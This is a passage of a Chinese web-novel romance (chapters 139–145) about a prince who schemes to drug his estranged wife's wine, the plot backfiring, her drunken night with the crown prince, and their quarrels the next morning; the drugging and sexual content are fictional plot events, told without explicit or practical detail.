要不是看在东方起的面子上,保不齐还能轰轰烈烈地搞一场篡权夺位、改朝换代的大事。
如今想想,让东方起当皇帝也挺好。朝政大事由他去操心。自己想做事了,就当林副使。不想干活了,就躺平当个逍遥王侯。多好!
从宫里出来后,还有些时间,林倾月准备直接回晋王府。
临别之前,东方起还有些不放心,打算从东宫调一队侍卫护她左右。
林倾月拒绝了:“
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不用麻烦,这等小事我自己能解决。”
东方起道:“那好,你多加小心。”
等林倾月走远后,他还是不放心的派了人手,去晋王府外盯着。
东方宴早朝后就被林倾月施了禁言咒,变成了个哑巴,张嘴就是阿巴阿巴。
如此一来,他也没办法出门见人,只能躲在晋王府生了半天闷气。
直到晌午过后,禁言咒的效力才消失,终于能开口说话。
“赵安!”他唤来了心腹,第一时间就询问林倾月的去向。
赵安道:“回禀王爷,按你的吩咐一直派人远远地盯着王妃。王妃和您分开后,就去了玄镜司,后来又去了七街坊。七街坊人蛇混杂,乱得很。怕被王妃发现,我们的人就在坊门外等着,不敢靠得太近。”
东方宴冷哼一声:“那种三教九流的地方,她去了也不嫌晦气!后来呢?”
“大概过了一个多时辰,王妃才从七街坊出来,此后又去了东宫。据我们在东宫的眼线报告,王妃和太子的关系很亲密,太子还留王妃吃了午膳。席间两人有说有笑,就是不知道在谈论些什么?”
“午膳过后,王妃和太子一同进宫面圣。太子身边随从众多,为防被发现便没敢再跟去。”
说到这里时,赵安都忍不住替自家主子愤愤不平:“属下原本还很纳闷,王妃再怎样耍小性子,也不该和您彻底翻脸。毕竟您是她的夫君,女子怎可不以夫为天?直到今日,属下才明白过来,王妃她恐怕是……”
后面的话,他没敢往下说。可东方宴又岂会不知?
他还以为林倾月不贪慕虚荣,如今才知她是攀上了高枝,看不上晋王妃的位置!
“砰!”青花瓷的茶盏被他生生捏碎,碎瓷刺破掌心,殷红的血液滴滴落下,却远不如他的心痛。
“王爷,您的手!”赵安惊呼一声,赶忙将刺入他掌心的碎瓷拔掉,心疼无比。
“殿下,您何苦这样作践自己呢?天下的女子多了去,不论是大家闺秀,还是小家碧玉,你想要什么样的找不到呢?”
第140章 本王……答应和离
“天下女子再多,却没有一个能比得上她。”东方宴闭了闭眼,满腔的怒和伤无法宣泄,闷得心口钝痛。
“她若是看上了旁人,即便对方是世家公子,本王动动手指也能将其铲除!可那人偏偏是太子!”
“赵安,她是本王的妻,明媒正娶的王妃啊!怎么可以背叛本王?”
“王爷……”赵安心疼得直掉眼泪,“要不你再和王妃好好谈谈?”
东方宴叹了口气:“该说的本王都已经说了,甚至已经低声下气和她道了歉。可她的眼里根本没有本王这个夫君。她现在又被封了亲王,翅膀硬了,更不把本王放在眼里。光天化日之下,都毫不避讳地和太子勾搭,简直就是放荡无耻!”
“赵安,你说本王还能怎么办?本王现在是真的后悔了,若那晚的新婚夜,本王和她做了真正的夫妻,我们之间是不是就不会演变到如今这样水火不容的地步?”
赵安点头:“新婚那晚,王妃确实挺委屈的。或许就是从那时开始,她才逐渐对您冷了心。”
“可事情已经发生了,谁也无法令时光倒转!本王还有什么办法能捂暖她的心?”东方宴闭着眼睛,疲倦地按着太阳穴。
自从林倾月走后,他寝食难安,没一日顺心。
赵安眼珠一转,忽然道:“王爷,还来得及!把那晚洞房花烛夜没做的事情给做实了,不就行了?只有让王妃成为您的人,她才会死心塌地地跟您一条心!女人不都是这样吗?”
“若是王妃能诞下您的子嗣,那就更好了。不管是多么骄傲、圣洁的女子,当了母亲后就有了羁绊。”
东方宴猛地睁开了眼睛——
赵安说得没错!一切的根源就在于,林倾月她没有真正成为他东方宴的人!
若是成了真正的夫妻,太子就算对她有什么想法,也不可能立一个残花败柳当太子妃!男人的心思不外乎如此。
可若只是太子侧妃的位置,以倾月孤傲的性质是不可能接受的。
“赵安,派人去给王妃传话,就说本王愿意和他商议和离的事,让她立刻回府,否则过时不候!”
那种龌龊的手段,东方宴一直是看不上的。
可如今——
他在心底暗暗地道:“林倾月是你逼本王的。本王这么做,也是为了我们的将来。等将来咱们有了孩子,一家人其乐融融的时候,你就该懂得本王对你的一番苦心了。”
赵安出去没多久,又欢天喜地地跑了回来:“王爷,王妃回来了,已经进了垂花门了!”
东方宴忙道:“回来就好!赵安,准备酒菜。该如何做,你懂?”
赵安很懂事地点头:“王爷放心,属下一定办得妥帖!让王爷和王妃能冰释前嫌,琴瑟和鸣!”
林倾月回到晋王府,一问之下就得知,东方宴此刻就在她先前住的栖梧殿,于是未做多想就径直过去了。
栖梧殿。
东方宴端坐殿内,笑盈盈地看着她:“爱妃,你回来了?”
既没有冷眼相向,有没有再询问她昨晚的去向。
此刻的东方宴如同一个温柔的丈夫,静静地等待着妻子的归来。
林倾月皱了皱眉头:“你该不会又被蜉蝣丝给寄生了吧?”
东方宴笑着摇头:“没有。本王只是看到你回来,由衷地高兴。”
林倾月道:“那么我接下来要说的事,恐怕要让你不高兴了。”
她说着把圣旨撂进他怀里:“接旨吧。”
东方宴接过圣旨,展开一看,脸色顿时就变了:“皇伯伯他……他居然下旨让你我和离?”
齐昭帝口口声声说他想念老晋王,把东方宴视为亲子般疼爱。
可他赐婚的时候,没有和东方宴商量一句。如今下旨和离,也没有提前透露一句!这就是所谓的叔侄情深、视为亲子?
而林倾月和东方起一起入宫,也只是为了求这道和离的旨意?
“林倾月,你就这么迫不及待地要甩开本王?”东方宴脸上的温柔神色一点点地散去,“你昨日才
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回京,今日就要与本王和离?你将本王的面子置于何地?将我们的夫妻之情置于何地?”
“打住打住!我们之间哪有什么夫妻之情?”林倾月实在不想陪他演这种虐恋情深的戏码,掏出了早就写好的和离书。
“和离呢,算是我给你最后的体面。签上名字,从此之后,咱们各不相干。不管你是将林如珍扶正,还是再娶十个、八个,都跟我没关系。”
“行了,别啰嗦了。要么你主动签字画押,要么我用武力胁迫。”
东方宴看她的眼神越来越冷,心中的恨也越来越深:
本王对你用情至深,甚至将毕生所有的温柔都给了你。可你呢?林倾月,你就这样践踏本王的真心?这么急不可耐,是为了向东方起投怀送抱吗?
他深吸了一口,按下此刻想要**的冲动,用尽量平静的语气说:
“强扭的瓜不甜,既然你坚持如此,本王自会如你所愿。倾月,陪本王吃最后一顿饭吧。在一起那么久,你我夫妻好像还从未好好吃过一顿饭。”
说到后来,居然有几分哽咽。
林倾月冷漠拒绝:“之前没有好好吃过一顿饭,如今也没有必要再一桌而食。”
晚上约好了,要请玄镜司的兄弟们吃饭,她可不想吃两顿晚饭。
东方宴忍不住讥讽:“连顿饭都不肯陪本王吃,是着急去陪太子吗?”
林倾月耐心耗尽,抽出长剑抵在东方宴的喉间:“少废话!想死,还是想活?”
东方宴垂眸看着她手里的剑,有些难过:“上次在一线峡时,你已伤过我。今日再次剑锋相向,你当真要杀夫?”
“我不介意当寡妇,你呢?你若肯付出性命,我这辈子都给你守坟,往后逢年过节,也会以妻子身份为你祭祀扫墓。”
明艳美丽的女子,笑容邪魅,“如何?”
至此东方宴终于看懂了林倾月的决绝。
他的眼底闪过一抹痛色,终于妥协般地叹息:“本王……答应和离。”
第141章 终于做了夫妻?
东方宴转过身去,亲自拎起酒壶,倒了两杯酒:“当初新婚夜,我欠你一杯合卺酒。今日这酒,算是好聚好散。”
怕林倾月不肯给面子,他又补了一句:“喝了这杯酒,你我夫妻缘尽。和离书,本王也会签字画押。”
林倾月垂眸,看了看他手上的两杯酒,道:“你先签和离书,我再喝酒。”
东方宴将其中一杯酒递过去:“先喝了再签也不迟,本王难道还会言而无信?”
林倾月没接:“先签,不然不喝。”
“先喝,喝了就签!”
“先签,不然我动武了!”
动武的话,东方宴还真怕自己打不过她。
没办法,他只好把酒杯放在一旁,不情愿地拿起笔,在和离书上签上自己的名字。
林倾月提醒:“按手印别忘记了,不然怕你回头耍赖。”
东方宴再次磨了磨后槽牙,心道:本王怎会耍赖?等你喝了酒,做了本王的女人,和离书不管签多少份都将付之一炬!
至于圣旨……上头只说了可以自由和离。“自由”也就是还有回旋余地,可以不离,圣上不会过多干涉。
为了稳住林倾月,他又在上面按了手印。
眼看林倾月要来拿,他将桌子一挡,再度递酒过来,眼神里流露出几分哀求:“饮了这杯酒,咱们的夫妻缘分就到此为止。此后一别两宽,望你余生幸福。”
“放心,离开了你,我会幸福得很!”林倾月接过酒,很随意地碰了一下,然后一饮而尽。
东方宴一瞬不眨地看着她,也慢慢地喝尽了杯中的酒。
“就此别过,以后遇见了不必打呼招,全当时陌路人。”林倾月把酒杯一扔,拿过和离书就走。
走到大殿门口的时候,她余光在身后扫了一眼,唇角勾起一抹冷笑。
东方宴的这种小伎俩怎会奈何得了她?
想当初,她称霸一方的时候,多少人想要她的命。明的打不过,就来暗的。要是连下毒这种事都避不开,她早不知道被毒死几百次了。
东方宴执着地让她喝酒,她就猜到可能有问题。
端起酒杯的时候,她轻轻一嗅,就嗅到杯里有**的气息。于是施了个小术法,就神不知鬼不觉地,调换了杯中的酒。
连这种手段都能使得出来,也真不愧是你东方宴。一边摆出深情款款,一边又使出这种下三烂的手段。
**是吧?行,你自己慢慢体会!
栖梧殿外,东方宴特意撤走了守卫,免得被人打扰了好事。
此刻,他拾起林倾月刚才用过的酒杯。目光落在那抹浅粉唇脂印上。那是她方才碰过的地方,带着若有似无的香息。
喉结滚了滚,他忽然将酒杯凑向唇边,贴上那抹红唇印记。
很快,他和她之间就不再是隔山望水,他会抓住她,不顾一切代价!
算算时间,药效该发作了吧?
赵安怎么还没把人带来?
东方宴刚要站起来,脑子忽然一阵眩晕,浑身疲软发麻,跌倒在地上。
没过多久,一股燥热难当,好似有千万蚂蚁啃食骨髓的感觉,袭遍全身。
怎么回事?
他的脑子很乱,眼前的景物也变得懵懵懂懂。
就在这时,一个窈窕的身影快步走来。到了门口的时候,那身影顿了顿,转身关上了殿门。
“咔嚓!”插销落下。
“谁?”东方宴躺在光洁的地板上,努力地抬头,想要看清来人是谁。
那人走近,忽然就压在他的身上。
他下意识的就把人推开,而眼前的景物慢慢变得清晰,他看到了对方的脸是……林倾月。
分明是林倾月的脸,可她的神态和往日又不一样。不再冰冷无情,也没有讥讽戏谑的神情,而是带着谄媚和饥渴,急不可耐地扒着他的腰带。
东方宴此刻的理智早已丧失,被欲念支配,嘴里一直喊着:“倾月、倾月,本王就知道你会回来的。我们会永远在一起……”
蓬勃的欲望,轻而易举地将人变成了野兽。
他低吼一声,翻身将对方压了下去。衣服的撕扯声、急促的喘息声,混着黏腻的香艳气息弥漫在整个大殿。
赵安奉命守在垂花门外,只等着林倾月走过去时药效发作,再将人给送去东方宴面前。
奇怪的是,林倾月从他旁边走过的时候,步履轻盈,没等他反应过来人就走远了。
他还想追,可不过转眼间,林倾月的身影就消失了。
“这不对呀!”赵安很纳闷,“王妃不是被下了药吗
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?怎么还跑那么快?”
那药还有软筋散的成分,会让人浑身疲软。只等情欲上头,就会像发情的野兽,完全失去人的理智。
“难道王爷把事办砸了?王妃连喝杯酒的面子都没给?”
想到这里,赵安又赶忙跑回栖梧殿,却见殿门紧闭,里面还反锁了。
他拍了拍门,小心翼翼地道:“王爷,王妃她……”
“滚!”里面传来一声咆哮。
赵安浑身一颤:哎,王爷又动怒了!肯定是因为没有留住王妃,在生闷气。这个时候闯进去触霉头,定要倒霉。
于是,赵安识相地退了出去。
殿内。
激情散去,只留一地狼藉。
东方宴已经力竭昏睡,四仰八叉、光溜溜地躺在地上。
旁边的女子身上都是淤青,站起来时双腿都在打颤,脸上却露出得逞的笑。
“东方宴,我还是得到你了!你说我肮脏、**,那就陪我一起永坠泥潭!”她的声音沙哑而含糊,说话的时候,口里的疮还在流脓。
她抚了抚自己的腹部,轻声自语:“千万要争气啊!若能一次受孕,诞下男婴,就算他再恶心我,这辈子也休想摆脱我!”
“唔……”躺在地上的男人发出一声餍足的呢喃。
林如珍脸上露出一抹惊恐,她知道自己不能久留,不能被发现。要不然,东方宴苏醒后发现睡错了人,定会一剑杀了自己——先前她已经领教过这个男人的绝情了。
收走自己被撕裂的衣衫,她慌慌张张地从大殿后门跑走了。
又过了一阵子,东方宴悠悠醒转——被冻醒的。
“阿嚏!”一个喷嚏之后,突然发现自己身上未着寸缕,衣服都不知道丢哪去了。
“怎么回事?”脑子里一阵一阵的钝痛,他拍了拍自己的头,终于想起了什么。
昏迷前,他只记得自己看到林倾月回来了。她还扑到自己身上,饥渴地扒自己的衣服。
然后……
手指忽然触碰到了什么物件,他抓起一看,竟是条素白亵裤。
纯白布料上,几点嫣红洇开,如寒梅落雪艳得刺目。
他眼里的迷茫消失,慢慢荡起温柔的笑:我们还是做了真正的夫妻,倾月,你终于成了本王的人!
第142章 醉酒
天香楼,天字号包厢内,玄镜司的人都已经到齐。
上到主官下至司卫,统共八十多号人,摆了八大桌。
谢守正在点菜,呼啦啦点了一大堆,真是一点不客气。
点完了菜,他又惦记起东方起来:“林副使,殿下不是也要来吗?怎么人还不到?”
林倾月耳朵尖一动:“来了。”
话音刚落,东方起就推门而入,见众人都站起来恭迎,他摆了摆手:
“不必行礼了,都是自家兄弟一块儿吃个便饭,随意些就行。”
于是这些人就真的都不客气,一个个笑哈哈地和太子寒暄:
“殿下,您这次平安归来,咱们兄弟可真是太高兴!”
“就是,您不在的时候,兄弟们的赏钱都少了。”
“我们是真的敬重殿下,可不光是冲着您的钱啊!”
谢守正骂道:“一个个的不会说话,都给老子闭嘴干饭!”
又招呼东方起:“殿下快来,坐我旁边——大米你往旁边挪挪,给殿下让位!”
“大米你坐着不必让,我随便找个空。”东方起随便找个空,就把椅子挪到了林倾月旁边坐下。
他坐下后,第一句话就是问林倾月:“怎么样,晋王没为难你吧?”
林倾月道:“他倒是想为难,奈何没那个本事,我跟他说:你若肯付出性命,我这辈子都给你守坟,往后逢年过节,也会以妻子身份为你祭祀扫墓——你猜结果如何?”
东方起望着她笑:“如何?”
林倾月笑道:“他立马就同意和离了。他可不是什么情圣,怎么可能为了我,放弃自己的性命?”
东方起附和了一句:“是啊。”
心中却觉得,东方宴实在蠢得可怜。若换了自己,即为夫妻便要一生一世,至死不渝。
他举起酒杯,对林倾月道:“恭喜你,得偿所愿,恢复自由之身。”
林倾月爽朗一笑:“多谢。”
心中痛快,自然也要畅饮。
一杯下肚,她又倒了一杯,朗声对众人道:“从今日开始,我林倾月恢复自由之身!让那什么狗王爷,见鬼去吧!”
众人都举杯陪她痛饮,恭喜的声音不绝于耳。
整个包间的氛围也由此热络起来,大块吃肉、大口喝酒,痛快畅聊,一不小心就醉倒了一片人。
大米喝多了,沿着墙角找老鼠洞,嘴里还嘀咕着:“怎么找不到门?没有门,我咋回家呀?”
谢守正抱着旁边的人嗷嗷大哭:“殿下啊,我不想当官了,我想给你看大门!”
恰好他抱的是衙门里看门的司卫大爷,一听这话顿时就急了:“大人不行啊,您可不能抢我的饭碗啊!”
林倾月也有点醉意上头,却还嘲笑别人:“小花,你看到了没?这些人酒量都不行,一喝醉就成了那副德行。哎呀,大米你怎么撞墙了?你们快去拦着那只傻老鼠!”
谢守正正在哭,忽然又抬头问:“小花?那只狸花猫?猫呢,怎么许久不见?”
林倾月随口说:“不知道跑哪去了!”
谢守正道:“我昨夜听到外头有猫叫春,保不齐是被外面的小母猫给勾引走了!”
东方起忍无可忍,踹了谢守正一脚:“喝多了就滚回去睡觉,扯什么猫啊狗啊!”
谢守正指着东方起道:“殿下,你可不能养猫!你养了我,就不能再养别人!”
眼看着整个玄镜司要全军覆没了,东方起无奈地唤来了外头的守卫,吩咐将人都送回去。
转眼间,包厢内的人已散尽,只剩下林倾月不知什么时候趴在桌上睡着了。
东方起悄悄地走过去,正准备将她抱走,她却猛地坐了起来,一双眼睛格外地明亮。
“你酒醒了?”东方起逗她,“刚才是谁说自己千杯不醉?牛皮吹过
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头了吧?”
林倾月慢慢地转头,眼神冷冷地盯着东方起:“本座在此,何人敢大声喧哗?”
东方起:“……”
他在林倾月眼前晃了晃手:“你清醒了吗?看清楚我是谁了吗?”
“你是……”林倾月眯了眯眼,猛地一拍桌子,“啪!”桌子碎裂,咣咣当当的碎了一地的碗碟。
“灵法仙君,你这无耻的**子!本座要取你的头!”
话音落下的同时,一掌劈来。
东方起急忙抓住她的手,心有余悸地道:“别人喝多了最多发疯,你怎还要**啊?醒醒,我是东方起!”
“杀,所有违逆者,通通拖下去斩首!”她气势汹汹地吼着,拳打脚踢真的像个混世魔王。
东方起生怕她再闹下去,把整个酒楼都毁了,赶紧架着她往外走。
把人塞进马车里的时候,林倾月还在高呼:“违我者死!”
东方起一阵无语:这是在演大戏吗?
刚把人塞进去,马车都还没启动,她的脑袋又从车窗里冒出来,嘴里嘀咕着:“我不能被关在家里,我得去找师父。万一他又收了新徒弟怎么办?”
没办法办,东方起只好陪着她坐马车。
把人按回车里,他好声好气地哄着:“没人关你,这里是马车。你好好坐车,我送你回家。”
“回家?”她的情绪忽然又激动起来,“不行,我不能回去!我爹要把我关起来,我怎能束手就擒?我得去找我师父!”
“哎哎,不可翻窗!”东方起一把将人箍在怀里。
隔着衣料,怀中女子的温软仍清晰可感。东方起心头忽然一痒,像被羽毛轻轻扫过——刹那间,过往梦境里两人肌肤相亲的画面竟又浮现。
不行,不能乱了心神!
他在心底一遍遍地告诫自己:东方起,你当守君子之礼,断不可因一时意动失了分寸!
第143章 你是,我的爱人……
东方起猛甩头,将心底旖旎杂念驱逐——她醉成这样,自己怎可趁人之危?
可转念又想起她已和离,叔嫂那层枷锁已然碎裂。此刻相拥不过是为护她周全。
这般想着,手臂反倒收得更紧。鼻尖萦绕着她的脂粉香,混着浅淡酒气,竟格外勾人。
他放柔了声音,几乎贴着她耳畔哄:“不翻窗,嗯?马车里稳当,你想去哪儿,我都陪你。好不好,月月?”
许是语气太柔,又或是“月月”二字触动了什么。
她睫毛颤了颤,像只温顺的小猫往他怀里缩了缩,声音带着委屈:“师父,我终于找到你了。师父,我好想你……”
从刚才开始,她就一直在喊师父。东方起心念一动,问道:“你师父,是谁?”
“师父……”她甜甜地笑了,像个单纯的孩子,“师父就是师父……呵呵……”
东方起又问:“你师父姓甚名谁,家住何方?我总要知道得详细些才好帮你。”
他想得很单纯,只以为是林倾月少时流落在外认的师父,且看她此刻的样子应该很挂念对方。既如此,就帮她把师父接回来,好生孝顺。
林倾月脸上的孩子气一点点褪尽,眼底先是漫上薄雾,随即凝成化不开的悲恸。
一滴泪水,无声低落。
“师父他……**……”
死在那些道貌岸然的**子手里,死在了红莲业火的酷刑下,连魂魄都被烧得干干净净!
他那么好的人……连遇见受伤的小鸟,都要捧回来治疗……被火啃噬的时候,该多疼啊……
后来啊,她燃起了红莲业火,亲身感受了一遍火舌焚身的滋味……真的很疼啊……
可她没想到,阿灼会回来。
那个傻瓜,她明明为他铺好了后路,明明可以重新开始,他却偏要一头扎进火海。
红莲业火舔上他衣袍的瞬间,那心痛到窒息的感觉再次攫住了她,一如当年师父损命时……
焚身碎骨,魂飞魄散。
红莲业火,终究是把她在意的人,一个个都烧成了灰。
可讽刺的事,她却又活了……
“哈哈哈……”她忽然大笑了起来,笑着笑着又哭了。
这世间真是荒唐啊!
为什么所爱的人都留不住?为什么罪大恶极,早该死去的人却偏偏又复活了?
上天是在愚弄她吗?
东方起被她突然的情绪变化,给吓了一跳。
“月月,你怎么了?”他捧着她的脸,慌乱地为她擦脸上的泪痕,“别哭我在,师父一直都在。”
他下意识就冒出这样的一句话。
也许是见她失去了师父而悲伤,所以他宁愿短暂地冒充一下,抚慰她此刻混乱的情绪。
又或者,只是下意识。
林倾月慢慢地抬眸,泪眼迷蒙,让视线也变得朦朦胧胧。
此刻,马车恰好驶进了一片华灯璀璨的长街,灯光穿过纱帘落在车厢,也落在东方起的脸上。
而林倾月的视野渐渐清明,眼前男子的五官不知不觉间和记忆中的人,慢慢重合在一起。
“阿灼……”
东方起浑身一僵:“你喊我什么?”
阿灼,他记得那是梦境里的自己化身之名。她怎会知道?
林倾月没有回答,只伸出颤抖的手,抚摸着他的脸、眉眼、鼻梁,最后落在他的唇上:前世今生,念念不忘的人啊,终于又回来了吗?
指尖所过之处,轻而易举撩动了他的心弦。
“你喊我什么?我是谁?”东方起微微张口,不经意间便吻住了她的指尖。
“你是……”
酒气勾起诸多往事,她恍惚想起阿灼曾攥着她的手腕追问:“在你眼里,我到底是谁?你透过我的脸,看到的又到底是谁?”
他后来真的生了气,气她把他当成师父的影子,气她说出那些伤人话,所以很久都没再理她。
可是**啊,那么多年的相依相伴,早已在她心底刻下无法抹去的烙印,与旁人无关。
可惜,最后的大火吞噬得太快,快得什么都来不及说。
“你是,我的爱人……”
未来及坦白的心声,终于在此刻,在狭小的车厢里,在暧昧的光影里,向他吐露。
东方起还没回神,她微凉的指
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尖已攀上他脖颈,殷红的唇瓣猝不及防吻上了他的唇。
冰凉的泪水滑入口舌,带着前世未尽的遗憾,又苦又涩。
“月月……不可……”
东方起喉间溢出低哑的劝阻,起初还微微偏头想躲。可理智只维持了一瞬,下一刻他猛地抬手反扣住她的后脑,掌心贴着她柔顺的发丝,带着不容抗拒的力道将她按向自己,狠狠加深了这个吻。
他本是清心寡欲的君子,二十多年修身养性,克己复礼。女色于他,如拂过衣襟的风,留不下半分痕迹。
直到遇见她,目光便再难移开。起初只当是报恩之心,可时日愈久,那份孺慕竟悄悄滋长成深浓的爱慕。只是骨子里的教养,让他不敢放纵,只能压抑着所有的感情。
可赤影之地昏迷的几日里,那奢靡到极致的梦境,居然勾出了心底的欲念。
再看她时,他哪还是什么克己复礼的君子?分明是个龌龊贪婪的小人,总忍不住窥探她的举手投足。
天知道,他需要用多大的毅力,才能克制住那些非分之想。
而此刻她主动地贴近,再度将心底的欲念轰然炸开,理智溃不成军。
他疯狂地回吻,恨不能将她揉进骨血,连同那点残存的克制统统吞吃入腹。
直到……
马车停下,车外传来了侍卫的声音:“殿下,到了。”
理智归来,他猛然松开怀里的人。
她眼眸迷蒙,带着几分恼意呵斥:“大胆,你居然……居然不让我睡!”
东方起:“……”
这叫外头的侍卫听到了,成何体统?
“下车,我们到了。”他迅速帮她扶正了头冠,掩好了衣襟。
林倾月眨巴了下眼睛:“到……哪里了?”
忽然,她眼眸一亮,“嗖”的一下就蹿了出去。
等东方起追出去的时候,就看到她已站在澜园最高处的屋脊上,豪气干云地道:“来啊,跟本座一起打下这片江山!人生在世当醒掌天下权,醉卧美人膝盖!”
周围有侍卫、家奴,都被她这胆大包天的话给惊得低头不语,不敢多看一点。
第144章 把太子给轻薄了?
下一刻,那豪气干云的女子两眼一翻,软软地倒了下去,又顺着屋顶斜坡咕噜噜地往下滑。
“月月!”东方起吓得魂都要飞了,纵身跃起堪堪接住她。
看着她依偎在自己怀里终于睡去,东方起才轻舒了口气:“你真是……胡闹。”
那责怪的话语,毫无半点力道。
他将林倾月打横抱起,一路抱至她的寝室,放到床榻上,仔细地盖好被子。
又等了一阵子,见她没在发疯,他才从里面退了出来。
门口还有一大堆的丫鬟、嬷嬷,恭敬地等候着。
太子点了两个嬷嬷,吩咐道:“你们二人进去守夜,若是她又胡言乱语,不管说了什么,都不准外传。”
那两个嬷嬷,原本就是从东宫出来的,自是知道轻重。
东方起怀揣着心事,走到马车旁,车帘掀开就看到车厢里靠垫歪斜,依稀还残留着她的气息,他脑海里不由得浮起刚才两人在车厢里意乱情迷时的一幕。
“不能再胡思乱想!”他拍了拍自己的脑门,转身上了马,生怕自己再触景生情失了理智。
到了东宫,东方起吩咐手下:“这辆马车以后不必再用,也不准动里面的东西,维持原状。”
夜色深沉,他再次坠入缥缈梦境。
耳畔浮起一缕温软语调:“阿灼,本座的头又痛了,你给我揉揉。”
他睁开眼,光影朦胧里,就见玄色帝王服的女子斜倚身侧,垂旒冕冠的珠串轻晃,眉头微蹙是在极力忍受着痛苦。
刹那间,他忘了现实中的一切,只剩本能的心疼。
他心疼地将人揽入怀中,让她枕着自己的膝头,指尖拂过她的鬓角,极轻极柔地按揉两侧太阳穴,仿佛稍稍用力就会碰碎眼前的人儿。
“陛下,魔道伤身,不如……”
“阿灼,连你也要劝本座回头是岸吗?”膝上的女子,语气忽然变得冰冷。
“我只是不想再看你难受。”他的语气温柔到极致。
“可本座,已经回不去了……”
悠长的叹息,蔓过梦境的边界,落在他的心湖深处,虚实难辨。
一梦醒来,天光微亮。而那声叹息彷佛仍在耳畔萦绕,久久不散。
阿灼?
梦境里,她唤我阿灼……她和月月长得一模一样。不,她就是月月!
是日有所思夜有所梦,才会在夜深人静的时候,在无人知晓的角落里,悄悄将她拽入那场荒唐的梦境?
“阿灼……”昨夜马车里的一声轻唤,也在耳边萦绕,和梦境里的那声呢喃融在了一起。
她怎会知道我的梦境里的名字?
是前世今生的羁绊,还是一次巧合?
与其胡乱猜测,不如找月月问个清楚!
想到此,东方起翻身而起,快速梳洗、穿戴,去上早朝。
下了早朝后,刚要出宫门,就被东方宴喊住了:
“太子请留步。”
东方起停下脚步,温和一笑,只是眼神里透着疏离:“晋王,有何指教?”
东方宴道:“听说太子将澜园送给本王的王妃了?倾月那人一贯不拘小节,本王就代她谢过太子赏赐。”
东方起微微一笑:“送她的,和晋王无关,晋王不必越俎代庖。”
“越俎代庖?”东方宴摇头,“这个词用得不太妥当。本王和倾月夫妻一体,自然可以代表她。”
东方起挑了挑眉,故作疑惑:“是吗?可本宫怎么听说,晋王妃昨夜已经休夫了?”
见东方宴脸色微变,他又补话道:“本王失言,应该是和离。她给你留了面子,所以才将原本的休夫改成和离。”
几句话,轻而易举地在东方宴的心头点了把火。
可是很快,东方宴又笑了起来:“我们夫妻之间只是有了些误会,所以倾月在闹脾气。夫妻嘛,就跟牙齿和舌头一样,哪有不磕磕碰碰的呢?至于和离,那充其量只是夫妻间的情趣。她本就是我的人,已经做了真正的夫妻,当然不可能随便分开。”
说最后一句话的时候,东方宴咬字很重,强调的意图明显。
东方起脸色瞬间一沉:“晋王,你什么时候变得这样满嘴谎言了?”
从他做小花的时候,他就和林倾月形影
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不离。清清楚楚的知道,东方宴和她根本没有夫妻之实。
回来之后,也只有昨天傍晚的时候她才回了趟晋王府一趟。
不多久,她就到了天香楼宴请,没有时间也不可能和东方宴有什么进一步的关系!
东方起的话,更加让东方宴确定,他对于他们夫妻间的很多事都了如指掌。不用多想,也知道是林倾月说的。
她居然连他们夫妻间最隐秘的话题,都透露给东方起。她是真的看上了太子妃的位置吗?
林倾月,你休想!
东方宴勾唇一笑,凑在东方起的耳边,炫耀般地道:“正是昨天傍晚,本王和她做了真正的夫妻。虽然她有些不安分,可至少身子是完璧无瑕的,她的亵裤上,还沾了血……”
“砰!”东方起一拳砸在东方宴的脸上,打得他直接摔了个仰面朝天。
“你真是无耻!”东方起一贯温润的脸上,难得地出现这样的愤怒神色。
不论那些话是否属实,可东方宴居然将这样的事情,公开讲给自己听。这简直就是小人行径!
“王爷!”赵安急忙把自家王爷搀扶起来。
东方宴挨了打,却并没恼怒,反唇相讥:“本王和自己的王妃做什么都是理所应当的!可你呢?高贵的太子殿下,你的心里藏了怎样的心思只有你自己清楚。谁无耻?谁龌龊,嗯?”
“东方宴……”东方起冷冷地道,“你们既已经和离,她便与你再无任何关系。我对她有什么心思,也都是光明磊落的。”
说完,东方起甩袖离去。
澜园。
林倾月猛然睁开眼睛,脑袋还残留着宿醉之后的痛楚。
可最让她觉得震惊的事,自己居然梦到把东方起按着强吻了。
梦境里,东方起被她的魔爪按着,苦苦哀求:“我当你是朋友,你怎可轻薄于我?”
林倾月嘿嘿的淫笑:“美人,从了本座,本座封你做皇后!”
“你不要过来,不要……救命啊,非礼!”
“嘿嘿,美人你是自己脱,还是本座动手帮你脱?”
“……”
第145章 打死不能认!
梦醒的林倾月缩在被子里,羞耻感漫上来:这做的是什么乱七八糟的梦啊!本座分明仙风道骨、谦谦君子,怎么到了梦里就变成采花大盗了?
忽然,她一把将被子掀开,警惕地看着守在床边的两个嬷嬷:“谁让你们在这里的?”
她休息的时候,不喜欢旁人守在身边。除了阿灼之外,谁都不能靠近她。
昨天实在大意,喝多了居然醉成一滩烂泥。
嬷嬷道:“回禀王爷,您昨晚喝醉了,太子殿下送您回来后不放心,特意吩咐奴婢守在您的床边伺候。”
林倾月掀被下床,又问:“我昨晚喝醉的时候,没做什么过分的举动吧——你们为什么是那种表情?难道……”
难道我真如梦中那样,把东方起给……给轻薄了?
“我到底做了什么?”林倾月的声音陡然增大,“如实道来,不准隐瞒,别忘了你们的主子是谁!”
嬷嬷道:“回府之前的事情奴婢并不知道,但是回府之后……”
“之后如何?”
“之后……您就飞上了屋顶,口口声声喊着要带我们打下一片江山。还嚷嚷着什么醒掌天下权,醉卧美人膝……”
说到这里,两个嬷嬷齐齐跪下:“太子下令禁止外传,若非王爷盘问,奴婢绝不敢多言。今日之后,也会把那些话通通忘光,绝不敢泄露一字。”
林倾月捂脸叹息:“完了完了,脸都丢尽了!”
反正不管怎么,打死不能认!喝醉酒的是别人,不是她!
梳洗之后,林倾月换了身男人的便服,方便一会儿和东方起出去办事。
要不是昨天约好要去救红瑶,林倾月都不想再见东方起了。
算算时间,宫里的早朝也快散了。
也不知道东方起睡一觉醒后,会不会把昨天的事情忘得一干二净?
反正不管怎么,打死不能认!
只要不承认,昨晚醉酒的就不是她!
林倾月正准备吃早饭的时候,管家全福捧着礼盒,过来道:“王爷,晋王派人给您送了东西来。”
林倾月有点闹不明白,这是什么意思?都和离了还来送礼物,脑子有病吧?
她正要吩咐人拒收礼物,全管家道:“晋王说,是您落在晋王府的东西。特意送来,物归原主。”
也是,因为听说是自家主子的东西,全管家才肯收下。
“我落东西了吗?”林倾月招了招手,“拿来我瞧瞧。”
锦盒不大,看起来就像个首饰盒,接到手里轻飘飘的。
会是什么东西呢?
林倾月打开盒子一看,居然是一条女子的亵裤,上头还沾了点点血迹。
恶心得她一把将东西丢掉,差点砸中刚刚进门的东方起。
